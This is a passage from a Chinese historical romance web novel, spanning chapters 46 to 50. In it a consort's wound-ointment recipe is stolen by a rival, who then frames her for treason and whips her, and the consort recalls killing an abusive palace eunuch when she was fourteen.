赫连煊却未采纳“赫连城”一名,而是将其改为“塞月城”。
搬进塞月王宫后,他忙碌更胜从前。
回到寝殿时,穆凝姝已沉沉睡去。
他坐到床边,手轻轻抚过她的额间。
塞月城,这个名字,很适合当送给她的礼物。
在他还是莫勒钦时,在涂丹无数个寒夜里,月光从破损的屋顶漏入,映照在她脸上。他也如今晚这样,凝望着她的睡颜,彻夜无眠。
他朝她吹嘘,他是草原上最好的刺客,生平未有败绩。
其实不然,他败过。
穆凝姝嫁去涂丹那时,他奉赫连天雄之命刺杀公主,破坏和亲。
一片混乱中,她从马车中探出头,风吹开她的赤红盖头,露出张极精巧的脸庞,红妆浓艳,却难掩其清丽绝尘。
他一时失神,手中弓箭偏转了方向。
擦着她耳畔,钉入横木中。
她望着那支箭,双眸惊恐无助,却倔强不肯落泪。
他鸣镝收队。
那是他刺杀任务中,唯一一次失败。
母亲重病垂危,每日需以秘药续命,赫连天雄以此为要挟,给他的任务件件艰难。刺杀不成,他必须深入涂丹窃取情报,立功换药。
草原宽广,涂丹王庭位置外人难以寻到。他跟在姜国和亲队伍后,快到达王庭时,抢先一步混入内部。
穆凝姝抵达时,他已是马奴莫勒钦,脸上易容烧伤,嗓子以烟熏哑。
他没想到,很快再次与她相见。
涂丹阏氏借口不祥发难,竟将穆凝姝扔在一众男奴中,随人肆意侮辱。
而这一切的起源,是他的刺杀。
她一无所知,还以为他是救了她的恩人,不断朝他靠近。
染上瘟疫病重时,痛苦中,他竟生出解脱之感。
人生十六年,除却幼时,余下皆艰难苦恨。
她却傻到以口渡药。
柔软的唇,苦涩的药,仿若枯水已久的荒原,忽逢雨露甘霖。
朦胧中,似乎听到她微带哭腔的乞求。
“莫勒钦,你不要死。你死了,我怎么办?”
是,他死了,她怎么办。
在这种群狼环伺之地,她的美丽成了原罪。
莫勒钦,丑陋,卑贱,弱小。
比起给她带来的无尽耻辱与苦难,那一点点保护和照顾,微不足道。
他配不上她。
无论是莫勒钦,还是徒有其名的赫连太子。
涂丹连连受挫,要烧死他和穆凝姝祭天。
当时赫连军队已在路上,押送去祭坛的路途偏远,他被捆住,无法逃走,趁着最后燃火时刻才反杀成功逃离。
他传讯赫连部,带领军队以最快速度杀回涂丹部。一路厮杀,不眠不休,刀砍到卷刃,终于在祭祀前一晚,杀回涂丹王庭,精疲力竭,身受重伤。
他知晓她习惯躲在马厩,赶去找她。
他要找到她,将她藏起来。
早在他是莫勒钦,带她月下策马之时,他满心满脑,想带她逃离。
但他做不到。
一旦逃走,赫连天雄必定派人追杀,况且母亲还在那人手中。
这一次,他要抢占先机,不让任何人夺走她。
赫连涛却紧随而来,带领亲兵,声势浩大,抢先一步抓住穆凝姝,为揽功劳,亲自看管她和一众涂丹阏氏,将她们押回赫连部。
明明是他先来,却与她失之交臂。
她是赫连天雄的阏氏,是他的庶母。
涂丹灭族,赫连全族欢庆不眠不休,他却得知母亲死讯。
他自小同母亲相依为命,她为他忍耐赫连天雄,吃过太多苦头。
他竟连她最后一面都没能见到,连她的尸骨都无法亲自送葬,无法跪拜。
那晚,他只想跟赫连天雄同归于尽。
灌木丛中突然窜出只小狗崽,摇摇晃晃朝他跑来,啃他衣角。
是他在涂丹时,捡回去的小崽子,她很喜欢。
他猛然抬头,心心念念的人,赫然在目。
她看向他的眼神,警觉,害怕。连连道歉,说小狗崽不懂事。
那是她第一次见到太子赫连煊。
她以为的初见,却是他期待已久的重逢。
他压住满心冲动,朝她走过去,只蹲下摸那只小狗,一言不发。
这只狗崽很认生。想来是认出他的味道,才会跑出来。莫勒钦跟他外表完全不同。
她见他手背受伤,拿出帕子替他包扎止血。
还是同以前一样心软,总是这样心软。莫勒钦的事,连累她再度为奴,她自己都过不好,还去管旁人。
他身上没带钱,首饰也不多,便摘下母亲给他的耳坠,送给她。既给了她,她拿去变卖也可以,但私心里,他希望她能喜欢这只耳坠。
次日,他在自己毡帐门口,看见那只耳坠。
她不要他的东西。
中原人的规矩繁杂严苛,他的耳坠伴随他已久,是他的贴身之物。他去找她,她礼貌疏离,若从远处看到他,便立即改路,避免遇上他。
她是他名义上的庶母,或许在她看来,这只耳坠甚是不妥,两人来往更是不妥,好似庶母同太子私下苟且。
他作为莫勒钦潜入涂丹部,是军事机密,唯有几个赫连高层知晓。
这个马奴已累她身败名裂,而今若再来个太子,她一个女孩子,处境会更加艰难。
况且,若让赫连天雄知晓他对她有意,她会成为下一个把柄,如母亲一样悲惨。
他不要她重蹈覆辙。
去祯跶部当质子,虽然危险,却有峰回路转的机会。与其留在赫连部等候赫连天雄对付,不如背水一战,去往祯跶。
待下一次再与她相见时,他要她当他名正言顺的阏氏。
公主,这个称呼,他不喜欢。
草原上有数不清的公主,玛茹从小闹着要他喊自己公主,他烦不胜烦。
当这个称呼用在穆凝姝身上时,他第一次觉得,竟然很好听。
公主,就该享受天下人供奉,享受他的供奉。
他要将世间最好的一切,全部献给她。
* * *
窗外明月高悬,月光洒在她脸上。
赫连煊捧住她的脸,眸色深沉,低声道:“公主,你总说我和你的姻缘,皆是阴差阳错,换个人也一样。怎会一样……你的三任丈夫全死在我手中。这一切,明明是我强求来的。”
他早说过,爱是贪欲,沉溺,嫉妒,愚蠢和失控。
她是他融入骨血的渴望。
他贪求她的一切。
第47章 第 47 章 47莲心
赫连部虽顺利占领塞月城, 祯跶部残余势力仍旧不肯放弃,草原上其他庞杂势力,各怀心思,希冀趁乱捞好处。
战事频繁, 赫连煊天天忙不胜忙, 人影难觅, 偶尔得空, 就到穆凝姝宫中用膳,清静片刻。
宫殿住着比毡帐舒服得多。
赫连煊想起姜国皇宫,问道:“塞月城跟你家相比,如何?”
当然是天壤之别。
她家那小茅草屋,破得四面漏风。
穆凝姝差点脱口而出, 顿了一会儿才想起, 他口中的“家”,指的是姜宫。
她据实道:“差距恐怕有些大。塞月城五年前才建起来,很多地方还不够完善,宫里头却不缺贵重物品,搭配装饰却不细致,显得杂乱。姜国建国定都已逾百年,宫殿经过历任皇帝修缮扩建,广阔华丽, 处处布置的精细。宫里很多花园莲池,景致漂亮。”
赫连煊道:“这倒是,咱们草原人过得不比你们讲究, 文化也粗放。那些东西好说,等日后闲下来,孤让人打理, 再给你种几池莲花。”
穆凝姝道:“江南温暖,遍植莲花。但这里的气候,不知种不种得活。”
赫连煊道:“试试看。种不活就换别的花,总能有你喜欢的。”
穆凝姝柔声道:“好呀。”
他揽过她的肩,道:“公主还喜欢什么?以后,孤都给你弄来。你们姜国的女孩子最是娇生惯养,你不告诉孤,孤不知道该怎么养你。”
穆凝姝道:“我、我也没有很娇气吧。现在就挺好,我什么都不缺。”
“行。你想起什么,随时告诉孤。”赫连煊躺到床上,将她搂在怀里,闭上双眼,哑声道,“好累。陪我睡会儿,下午还有事。”
穆凝姝乖乖躺着,手搭在他腰间,“好。你安心睡,到了时辰我让宫女叫我们。”
他很快睡着,呼吸均匀,身上暖呼呼。
窗外白雪纷纷,她看向庭院空地,打个呵欠,迷迷糊糊想着,以后可以在这里砌个莲池。
* * *
宫中收拾顺畅后,穆凝姝同从前一样,常在马场和太医院走动,听太医和军医们说了不少前线的事。大夫不够用,将士们受伤后,得不到及时医治,伤口容易溃烂,加剧病情。
她想起自己背过的姜国药方,里头有一些针对发炎溃烂的膏药。她从中了解到一些常用消炎草药,之前常常用在动物身上,没有专门细致研究过。
穆凝姝拿纸笔,将记忆里的相关药方写出来。
五张药方中,有几味药出现几率特别高,应该是主要起效成分,旁的配药变化较多。她将每种都做一点出来,去马场拿受伤的战马试药,跟张奉景讨论后,挑出三张最好用的方子,再次进行试药和筛选。
乌琪伤好后常来药房里找她玩儿,帮忙捣捣药,今日越捣越心烦意乱,道:“凝姝,我说,你怎么总能这么有闲情逸致?”
穆凝姝头都不抬,道:“胡说。我天天忙得团团转,都快在药房住下了,哪里闲情逸致?”
乌琪抱着药罐,叹气道:“你干的这都不是正经事。你的心思该放在赫连煊身上。”
穆凝姝道:“他比我还忙,天天半夜才回来,倒头就睡。过几天又要出征。心思放他身上干嘛。”
乌琪扔下捣药的石臼,凑到她身旁,神神秘秘道:“你啊,傻呆子一个。男人说什么你信什么。他天天在你面前忙,却有时间吩咐司衣、司珍那些人制作阏氏婚服。我偷偷看过,全是大婚用的。”
穆凝姝道:“是么……我没注意。”
乌琪气道:“你能注意个鬼啊,你平时心就大,这个事儿,是我好不容易跟司珍那边的小姐妹打听出来的。你说,大婚用的礼制衣裳首饰,还能给谁用?给你我这种早就嫁给他的人吗?况且是大婚,你是姜国人,怎么可能当敕加族的大阏氏。想想看,你们姜国的一国之母,能让敕加女人当?”
穆凝姝手中顿了下,旋即继续,道:“哦。那就是给芙缇娜用。看来芙缇娜愿意接受他了,挺好的。他追求她那么多年,得偿所愿不容易。”
乌琪颓然恨道:“我觉得赫连煊挺喜欢你,尤其是这回,你如此大义,如此有格局!他肯定特别感动,才冒险前来刺杀。要不是我亲自见证,话本子这么写,我高低得骂句作者是脑残。凝姝,你应该试着争一争。趁现在你们感情好,赶紧把芙缇娜排挤出去。你就学芙缇娜闹闹嘛,找赫连煊哭,说你也想要独宠,你受不了他和别的女人在一起。”
穆凝姝道:“乌琪,感动和爱是两码事。他一向对我很好,这次之后,对我更好了。我对现状很满足,不想为难他,更不想为难我自己。你总说让我闹,有没有想过,如果结果不像预计中那么顺利,反而惹他心烦,该怎么办?”
乌琪思考一会儿,难得有文化道:“这个……正所谓,风险与利益同在。管他的,搏一搏再说。”
穆凝姝道:“风险太大,我承担不起。玛茹可以闹,大不了被遣送回娘家耶律部。芙缇娜也能要求独宠,大不了一拍两散,反正赫连煊将呼延部还给她了。即使她不给他当妃嫔,还可以当首领和大臣。她们都有闹腾的底气。我呢?乌琪,最坏的情况下,我可以回哪里去?”
她是姜国送出来的和亲公主,又几经辗转改嫁。
若赫连煊当真厌弃她,赶她走,她一个没有皇族血脉的赝品,连娘家都回不去。
她只有来路,没有归途。
乌琪思来想去,也发现其中难处,丧气道:“罢了罢了,现在的确还不错。万一惹赫连煊不高兴,即使不赶你,把你发配到冷宫,也不好受。还是你聪明,沉得住气,就这样吧,知足常乐。他爱芙缇娜热情如火。而你温柔似水,善解人意,他怎么都不至于讨厌。等芙缇娜当上阏氏,咱们乖顺些,希望她宽大为怀吧。”
乌琪忽然眼睛瞟向窗外,道:“啊,真是烦,我出去走走,散散心……”
穆凝姝顺着她的目光瞥一眼,道:“别装。你又想去见那个小太医吧?”
乌琪惊讶道:“你、你发现了?”
穆凝姝道:“你养肋骨养出一身懒骨头,哪里肯帮我做事。天天朝这里跑,还不是冲着人家小太医来。佗佗早跟我说了,你跟照顾你的小太医眉来眼去,他瞅着不太正常。即使他不说,你的眼神也骗不了人。”
爱意和咳嗽一样,藏不住。
乌琪脸红,假哭卖惨道:“哎呀呀呀,人家还年轻,人家不想守活寡!全怪赫连煊,他不宠幸我,还打我!要不是小太医,我的心都要被赫连煊伤得死翘翘了啦——”
穆凝姝被她嚎得头痛,道:“我又没说不要你去找他……但是你得记得,你毕竟是赫连煊的阏氏,若闹得太大,你肯定没好果子吃。尤其是身孕……绝对绝对不能有啊。”
乌琪笑嘻嘻,捧脸娇羞,扭来扭去,“我才不会那么傻。我们就一起看看花,看看草……他可害羞了。哎呀不跟你说啦,他在等我呢。”
说话间,人一阵风般跑没影。
再看到,已在帐外。乌琪满脸笑容,叽叽喳喳说着什么。小太医微微低头,偶尔才张嘴回应一两句,好似全然不在意,眼神却忍不住黏在面前的女孩身上。
穆凝姝远远望着,都能感受到二人之间的美好。
跟心爱之人在一起,不管说什么做什么,都极有乐趣。
就像她对赫连煊。
连看他睡着时的脸,她都永远看不腻。
她想给他世间最真诚、最热烈、最无拘无束的爱意。
* * *
反复试用药膏后,穆凝姝将三张方子里的长处摘出来,弄出张新方子,做出药膏。相比从前那些,这种新药膏见效更快。而且她特意尝试将药方里的名贵药材,以常见的便宜药材替代试试,其中有一味药材替换后,效果变化不大。
这一点很重要。
药方出自姜国王宫,贵人用药,当然可以不计成本,专挑最贵最好的用。
但这个药膏,要给军队里所有士兵用。批量用药时,成本是个大问题。如果太贵,军费不够,上面纵然是好意,下边儿的执行却免不得出问题,最终底层的将士们反倒什么都用不上。
她在宫里打工,一把心酸泪,此等经验数不胜数。
穆凝姝对此药方甚是满意,适用三天后,又发觉还有改进空间,蜂蜜的含量再增加点,药膏就能保持更久,消炎效果也会更好。
她再度进行改良。赫连煊出征在即,时间得抓紧。
在他出征前一天,她总算做出最满意的成品,兴冲冲跑去偏殿书房找他。
侍卫们见她来,朝她行礼,直接放行。单于吩咐过,凝姝阏氏过来,不必通传。
穆凝姝进去,听到芙缇娜和赫连煊声音。
芙缇娜竟然也献上了药膏。她让呼延部的药师们研究出一种新的消炎方子,对防止外伤溃烂,加速愈合有奇效。而且她已让药师们日以继夜赶制出一大批,已经装箱打包好,可以直接随军用辎重一起押送。
听语气,赫连煊颇为高兴,道:“你这药来得正是时候,解孤所需。孤定要好好赏赐你。”
芙缇娜笑道:“你我之间,不必言谢。”
赫连煊道:“君主自当赏罚分明。你有如此功劳,当赏。说,你想何赏赐?”
芙缇娜娇俏道:“真的不用。能帮到单于,是臣女的福分。”
第48章 第 48 章 48“等我回来。”……
芙缇娜继续说了许多, 推辞赫连煊的赏赐,一来大家关系亲厚,不必见外。二来战事在即,不必为了此等细枝末节分心, 还有其他等等, 条条款款, 甚是体贴周到。
赫连煊没接着她的话一一反驳, 只道:“你平日喜好舞刀弄剑,制作兵器。孤前些日子正好得了几块上品精铁,稍后让人给你送一块过去。”
“既是如此,我可舍不得推辞。”芙缇娜笑逐颜开,欣然谢过, 爱不释手, 说要用这块精铁打造一柄九节鞭。她又就精铁该如何锻造说了不少话,听上去,对此道颇为内行。
赫连煊话语不多,偶尔指出芙缇娜话中的错误,指点一二。
大殿里头传来札木尔的声音,朝赫连煊禀报政事,打断了二人对话。
没过太久,芙缇娜出来, 迎面对上在候在门侧的穆凝姝,眼神陡然一惊,旋即恢复惯有的轻慢与娇媚。
芙缇娜道:“凝姝阏氏听人墙角的爱好, 倒是挺顽强。”
穆凝姝盯着她,缓缓道:“你偷我药方做什么?”
从赫连煊殿内飘出来的药味,和她之前做出来的药膏, 味道一模一样,她自己做出来的东西,天天闻,不会有错。
芙缇娜竟然演都懒得演,直接道:“当然是做好事,惠及赫连上下,让赫连煊高兴。再说,药草谁都有,药方医书里多得是,凭什么说我偷?这个字不可乱用,凝姝阏氏莫要血口喷人。”
穆凝姝道:“那药方是我自己根据秘方调配而成,本来就属于我。人证物证我都有。”
芙缇娜笑了下,蔑道:“你胡说,药方分明是我让呼延部所有医师辛辛苦苦商讨而来,然后连夜赶工制成。我的人证和物证更多。凝姝阏氏,看你这架势,是想跟我去御前争辩一番,看看赫连煊站在谁那边?你不妨试试。”
穆凝姝道:“我不在乎他站在哪边,我在乎公道。芙缇娜,我真不明白,他已经很喜欢你了,什么都愿意给你,你何必在这种事上骗他?你并不缺赏赐。”
“对,我不缺,但你缺。穆凝姝,你拿这些小手段,弯弯绕绕,介入我和他之间,我又何须容忍你,对你客气?”芙缇娜冷眼一瞥,绕过她,往外边走去,头也不回,“我还忙,先走一步。你若想告状,只管去,我随时奉陪。”
穆凝姝捏着手中药盒,快步朝大殿里走去。
一直以为芙缇娜只是性子高傲,不通人情,没想到竟然会理直气壮做这种下三滥的事,用以邀功,还将她制药的一番好意曲解为蓄意取悦勾引。
恶心至极。
这是她的药,是她的心血。她只想帮他,从没想过以此邀功争宠。她不在意一切,但不能容忍芙缇娜偷走她的东西,还以此骗他。
她定要跟赫连煊说清楚。
大殿中,赫连煊桌前的奏折堆积成山,他站在桌后,跟旁边几个大臣对着地图商议行军等事。
穆凝姝脚步放缓,停在一旁僻静处,默默看他。
他脸上挂着最常见的认真神情,微微蹙眉,眼眸垂落望向手中地图,睫毛又黑又密,在面颊投下长长的影。
赫连煊瞥见角落中的浅蓝身影,越发言简意赅,加快说完事情,打发那些人离开。
他朝她走去,唇角噙着点笑,道:“你来做什么?稀客。”
穆凝姝没说话,望着他,眼眶红红的。
赫连煊手指抚过她眼尾,道:“身子不舒服?”
她低头眨眨眼,抬手揉揉,有点瓮声瓮气,道:“没。雪大,眯到眼睛了。”
赫连煊随手拉过旁边的椅子坐下,将她拽到腿上,道:“知道雪大就别出来。你怕冷,回头再病得头昏脑涨,孤不在,没人陪你折腾。”
穆凝姝想起先前发烧那会儿,以为做梦,干出的一堆丢人事,默不作声,低头摆弄手里的盒子。
“这是什么?”他顺着看过去。黑漆小盒,盖上有雪白莲花纹,精致小巧。
穆凝姝愣了下,递给他,道:“药……是外伤药。你可以用。”
赫连煊拿在手里转着把玩,带着点笑意,低声道:“又是从哪只小猫小狗身上省下来的?天天就知道招猫逗狗,难得来一趟,就送孤这么点礼物?”
她抿唇,良久,伸手去抢盒子,“还给我。”
赫连煊举高,她够不着。
“既是送人,哪还有收回去的道理。孤不似公主娇弱,孤什么都能用。”他依旧笑着,随意道,“说来,今日倒是巧,芙缇娜方才也送了一批药过来。呼延部研究做出的伤药,孤正需要。他们出的钱,省去孤一大笔军费。”
穆凝姝望着他。
近来事多,他常常肃穆着脸,处理政事,心无旁骛,她就不常过来打扰。
他今日却笑得格外多。
忽然间,她什么都不想说了。
大战在即,他忙得夜以继日。
她却在出征前夜,跑来告诉他,芙缇娜偷药方邀功,让他给她们当判官?
光是想想,就很头痛。
芙缇娜那般理直气壮,恐怕就是看准了这点。
不怕她闹,就怕她闹得不够大。赫连煊喜欢她的乖巧柔顺,这种关键时刻,她却不以大局为重,拿功劳归属来闹事,即使药方是她做出来的,也会令人厌烦。
对比来看,芙缇娜自掏腰包,拿呼延部的钱做药,实实在在帮到了赫连煊。
而她,只有一张药方、一盒样品。她没有芙缇娜的实力和财力,凭一己之力做不成大事。
况且,连药方到底出自何人之手,都难说。
芙缇娜背靠呼延部,部族里的药师们,一荣俱荣,一损俱损,肯定会统一说是他们合力完成。
她却只是个不入流的兽医,天天跟动物混在一起,没师承,没资历。即使她说出药方来历,旁人也不见得会相信。乌琪和张奉景倒是知晓,可这两人都不受赫连煊待见。
乌琪邀宠被踹断肋骨,赫连煊早已不喜欢,要不是她求情留下,人已流放到北方。
再说张奉景,赫连煊也不喜欢。这份没由来的不喜欢,穆凝姝也不明白。
根据赫连煊平日里的表现推测,他可能不太喜欢佗佗的气质。
佗佗和大部分敕加男人不一样。他纤细文雅,心思细腻,爱看话本子,性子温柔,堪称妇女之友。
简单来说,像个娘娘腔。他从小被人这么说到大,挺多敕加男人看不惯他。
或许在赫连煊眼中,亦是如此。虽然他听过她的推荐,见过佗佗的医术本事,愿意提拔,但他内心大概也不太欣赏这类型。
她没个正经医学背景,两个人证又全都不得帝心。
三个臭皮匠去跟芙缇娜的药师医师队伍硬碰硬,恐怕很难自证清白。
即使证明了药方是她的,又如何?
芙缇娜出钱做好了药膏,即使药方来路不正,这份功劳已然不可抹灭。
她现在跳出来指责,就算得以正名,似乎也只像不分场合,无理取闹,争宠邀功。
最重要的是,赫连煊难得开心。
她无意间看到过,他最近亲自做的一把匕首。即使她对这些一窍不通,也看得出,那个匕首构造精巧。刀柄上镶嵌着宝石,刀身上似乎是还未镌刻完的字纹,她不认识。
芙缇娜喜欢武器。
他今日送她精铁。这把小匕首,想来也是为她准备的惊喜。
他对她很用心。
现在,他追逐的心上人肯为他费心思,出军费,除却药膏本身,这份心意,恐怕更让他高兴。他是那么喜欢芙缇娜,那么求而不得。
同样的药膏,旁人送和心上人送,带来的感受大不相同。
穆凝姝望向赫连煊的眼神,逐渐柔软。何必在此出征紧要关头,去破坏他的好心情,即使真要争个对错,也该等他回来再说。
他给她的,够多了,她不在意赏赐和荣耀。
她仅仅想尽一己之力帮到他,如今芙缇娜替她做到了,还做得更好,她没什么不甘心。
穆凝姝忽然握住赫连煊的手,怕他信不过自己的水平,不用她送的药,道:“我这个药才不是给小猫小狗的……其、其实是太医们最近做的,比寻常那些更好用。你不要扔掉,随身带着,有备无患,总是好的。”
“好。”赫连煊把药盒收进腰间,抬手扣住她后脑,压低些,吻在她额头,“我今晚就要去大营,明早出发。一别又得数月,你乖一点,不要生病。等我回来,带你去骑马看花。”
她搂住他脖子,柔柔笑道:“好。我等你回来。”
* * *
这次战事规模和强度皆不同于以往。
祯跶部的残余势力原本为塞月城之主,是人上人,被赫连煊攻占国家后,地位和生活都一落千丈,上上下下都对赫连部恨之入骨,即使陷入不利战局,也要负隅顽抗。
祯跶部谋士们更是四处游说其他部落加入己方,许以重利,让大家形成联盟,共同对抗暴君赫连煊。
战事越发残酷,战线也越拉越长。
起初赫连煊还偶有书信回来,后期越来越少。
穆凝姝心不在焉,免不得担心他,偶尔梦到他,永远是一身血,一身伤。
乌琪忙着跟她的小太医甜甜蜜蜜,张奉景被赫连煊带走随军,阿素珊忙着带孩子,雅曼不骂赫连煊几句就算尊重君王。
她倒想骑马散散心,天寒地冻,连银霜都不愿意出门。她便常常待在马场中,跟银霜围在火炉边,看小可爱在雪地里撒欢。
小可爱是狼,冬天一身毛茸茸,不怕冷。
忽然一群侍卫破门而入,个个手中执刀,将她围住。
第49章 第 49 章 49从别后
来者不善。
穆凝姝起身, 不明就里,凝神蹙眉。
芙缇娜从一众侍卫后走出,冷眼冷声,道:“穆凝姝背叛赫连, 私通姜国, 给我拿下。”
“大胆。我是单于阏氏, 谁敢动我。”变动突如其来, 显然是芙缇娜蓄意陷害,穆凝姝反驳质问,“我身居后宫,根本没跟姜国来往。芙缇娜,莫须有的罪名, 别往我身上扣。今日你们若敢以下犯上, 单于回来后,必不会放过你们。”
侍卫们停下步伐,看向芙缇娜。
“穆凝姝私通姜国,往来证据在此。”芙缇娜从袖中拿出一沓书信,又单独拿出一份密旨,“此为单于秘密手谕,托我代为处死。你若不信,自己亲自确认。”
她将密旨展开, 公之于众。
此次征战,祯跶部残余势力不仅联络了草原各部,还跟中原国家谈成合作, 姜国竟然参与其中。
祯跶单于在世时,一向擅长同各种势力谈生意,同各国牵扯繁多, 利益庞杂。
如今形式大变,姜国惧怕赫连煊一家独大,称霸草原,南下侵略,届时越发难以与之周旋抗衡,于是同祯跶残余暗中联手,对抗赫连煊。
姜国对此事大力遮掩,暗中帮助祯跶部,万一失败,只当没参与过,再同赫连部交好,妄图两头下注。
姜国没有出兵,只暗中为祯跶部输送情报,提供粮草支持。
祯跶部拿到行军布阵图,赫连部因此遭突袭,元气大伤。
不料,赫连部也非眼瞎心盲之辈,很快查出了姜国动作。
芙缇娜厉声道:“行军布阵等军事机密,单于向来严防死守,连赫连部中没几个能知晓,偏偏忘了防你这个姜国人。穆凝姝,温柔乡,英雄冢,你平日一副柔弱无知模样,倒是会装啊。”
侍卫们蠢蠢欲动,穆凝姝紧盯芙缇娜,道:“没做过的事我不认。芙缇娜,这全是你的一面之词。你手里的证据和手谕,全是伪造。”
穆凝姝对赫连煊的字迹极为熟悉。密旨上的笔迹,的确一模一样,但她根本不信。她跟姜国压根没有来往,芙缇娜还不是能造出一沓书信来。
芙缇娜眼梢挑起,不与她多言,朝身后侍卫招手,肃声吩咐道:“单于有令,诛杀姜国叛逆。我们敕加人的草原和王宫,被这个姜国女人占据太久。你们还等什么?动手!”
侍卫们眼神从犹豫转向狠厉,闻声而动。
早在来此围攻前,芙缇娜已跟他们出示过单于密旨。赫连部战事不顺,战士们在前线拼死拼活,这个姜国妖妃享受赫连供奉,却背刺算计赫连部。
单于下令斩杀,再正常不过,曾经的宠爱,在背叛面前,只会让恨意更加浓烈。
最重要的是,王庭侍卫皆为各部族贵族精英,他们族中不乏妙龄姊妹。姜国宠妃独占单于,于各部族不利,而芙缇娜却长袖善舞,心思玲珑,同各部达成协议,待其上位,必定惠泽敕加女子。
趁单于大怒处置掉穆凝姝,机不可失。
见情况不对,穆凝姝缓缓往后退,忽然扯过缰绳上马,银霜一跃而起,越栏狂奔。
说她心虚畏罪逃走也罢,现下赫连部认定她是内奸,留下只有死路一条。她顾不得许多。
突然,前方出现一列士兵,身披铠甲,手持盾牌,上有呼延部的族徽,挡住她去路。
后面,芙缇娜率领侍卫,快速逼近。
穆凝姝被围堵在中间。
无路可逃。
背上剧痛传来,她跌落在地。后背感到一阵温热。她抬手一摸,血迹渗透衣裳。
“带走。”芙缇娜手执九节鞭,骑在马上,居高临下,眼神淡漠傲然,如看一只垂死挣扎的猎物。
* * *
鞭刑的滋味,不好受。精铁特制的九节鞭,打在身上,比普通皮鞭痛上百倍,不仅是皮肉在痛,连骨头都扛不住此等威力。
三天刑罚下来,穆凝姝皮开肉绽,痛得生不如死,嘴唇咬得没一块好皮。
芙缇娜亲自施刑,不悦道:“你在赫连煊面前装得娇弱,私底下骨头倒是够硬。整整三天,硬是连句痛都没喊。其实你没必要硬抗,罪状签不签,都没什么要紧,反正你一定通敌,也注定会死。让你签字画押,是为了减少你的痛苦。”
她扔下鞭子,坐在桌旁,慢慢饮用温热的咸奶茶,继续道:“不过,你不签也挺好,让我多试试这条鞭子。赫连煊送的,用来折磨你,甚好。可惜再怎么痛快,也只剩今晚一夜。明日午时,你将被处以火刑,以告慰死去的赫连将士在天之灵。”
穆凝姝咳出口血沫,道:“你我不过恰巧共侍一夫,你如此构陷我,心思过于狠毒。”
芙缇娜道:“若仅仅是共侍一夫,我才不至于费尽心思。穆凝姝,你横插一脚,窃取我前半生该取得的成果,你就该有如此下场。说到构陷……”她露出个笑来,“关键是赫连煊相信,不是么?他因你的身份宠爱你,因你的故作娇柔怜惜你,却从不在乎你这个人。他相信你的背叛,痛恨你的背叛,迫不及待处死你。这就够了。”
穆凝姝缓口气,道:“没见到赫连煊之前,任何人都没有资格处置我。你的话,我一句也不信。我要见他。”
“见他,你想说什么?”芙缇娜的笑容越发开朗,“说你是假冒的姜国公主,还是说,你在宫中杀人的旧事?你们姜国皇帝不简单,千挑万选你这么把美人刀,心思够叵测。”
芙缇娜盯住她,阴冷道:“你们姜国人会安排细作,难道我们敕加人就什么都查不出来?穆凝姝,你总说我骗赫连煊。你呢?明明出身下贱,装金枝玉叶装久了,竟然连自己都骗了过去。名字是假的,身份是假的,连时时刻刻的乖巧柔弱也是假的。十四岁就杀过人,好一个娇滴滴的中原公主。”
穆凝姝瞳孔骤缩。芙缇娜既然知晓,想必赫连煊也已明晰一切。
十四岁。她最不愿回忆的一晚。
此种境地下重提,当真是一场绵延不尽的噩梦。
那天,宫中有新公主降生,皇帝深感欢喜,赏赐全宫上下。连她这样的粗使宫女,都能分到一碗甜酒酿。
喝过后,她整个人晕晕乎乎,想回到房中歇息,一进去,却猛然被人抱住,吓她一身冷汗。
那个老太监死死捂住她的嘴,话语粗鄙,行为轻薄。
先前,这老东西已数次对她威逼利诱,要她当他对食。
她害怕惊惧,告诉主管太监和嬷嬷,却只得到奚落,还遭说不知好歹。
老太监手中有点儿小权,能看上她,是她的福气。
孙嬷嬷知晓此事后,奈何不得,也只能劝她尽量躲着些。无论在哪里,官大一级压死人,老太监媚上欺下,她一个小宫女,斗不过他。宫中弱肉强食,没人会管此事。
她拼命挣扎不肯,老太监哄上几句失去耐心,一掌扇倒她,骂她别给脸不要脸,今晚若是不让他开心,含雪如何,她的下场就如何。
她愣住,含雪?前两天打水时,不慎跌到水井里淹死的宫女。
老太监笑得阴沉,得意告诉她,是他杀了含雪。
他欺侮含雪许久,含雪忍不下去反抗,遭他毒手掐死。
“杀了就杀了,贱命一条,没人在乎。”
活生生一个人死在他手中,他的语气,却好似碾死一只蚂蚁般无聊轻松。
他阴湿的手抚摸上她的脸颊,“不听话,你就是下一个含雪。”
她想不起那一刻是如何发生的。
等回过神来,她手握梨花银簪,在老太监心脏上捅出几个血窟窿,鲜血喷涌如泉。
血迸溅到她口中,腥咸恶心。
每每喝到咸奶茶,她都免不得想起那种味道。
她淡然擦净银簪,插回发髻上,将那个老太监的身体拖到水井旁,投进去。
就像他对待含雪那样。
望着平静的井水,穆凝姝心中难过。
她跟含雪说不上很熟。
同在宫里混口饭吃,含雪比她年长年岁,偶尔指点过几次她的刺绣。
她头上这支发簪,是前些日子含雪所赠。含雪说姐妹们多少都有点首饰,就她没有,难免遭人轻视。
温温柔柔的女孩子,就这样死于非命,悄无声息。
穆凝姝冷眼望着井底,并不后悔今夜所为。该有人为含雪哭一场,也该有人替含雪杀了老太监。
宫中招募出塞替嫁女子。
她毫不犹豫前去参加遴选。
选上那日,老太监的尸体被人发现,外伤明显是他杀,引起惶恐,上头下令调查,查出她来。
她站在金銮殿上,望着王座上高高在上的姜国皇帝和皇后,神情无惧淡漠。
姜国皇帝望着她,若有所思。
皇后却笑得大度,道:“出塞和亲,九死一生,唯有你这般有胆识又有美貌的女子,适合前往。若你愿意,此罪自有陛下和本宫替你做主。”
其实,她连个正经名字都没有。
爹娘懒得取,一直叫她小妹,后来认识的人也都这么叫。
进宫时,登记的管事嬷嬷见她貌美,给“妹”字添上一笔,化为“姝”。
那年入宫的宫女,皆为凝字辈。
凝姝。
再冠以国姓之“穆”。
穆凝姝,很好听的名字,却不属于她。
她以公主之尊出塞。
拿一条命,换了老太监一条,又报答孙嬷嬷一条,交易很合算。
她从不觉得,这一切有何不对。直到命运偏要让她遇到赫连煊。
* * *
祭祀的火架燃起烈焰。
穆凝姝白衣素簪,在呼延战士的押送下,走上祭台。
却忽然不觉害怕。
不见他,不遭受质问,于她而言,似乎也算种解脱。
她总想着,要给他最真诚、最热烈的爱意。
可惜,从一开始,她的一切都与真诚无关。
她从未见过热烈的爱意,亦不知晓该如何给予。
长生长漂泊,欢愉不多时。
这一生,她也没有办法。
第50章 第 50 章 50忆相逢
主帅营帐中, 赫连煊应付完麾下将领们,坐在椅中,抬手按按额心。
往窗外,旌旗猎猎, 白雪纷纷。
他想起穆凝姝。
不知道此刻她在做什么。
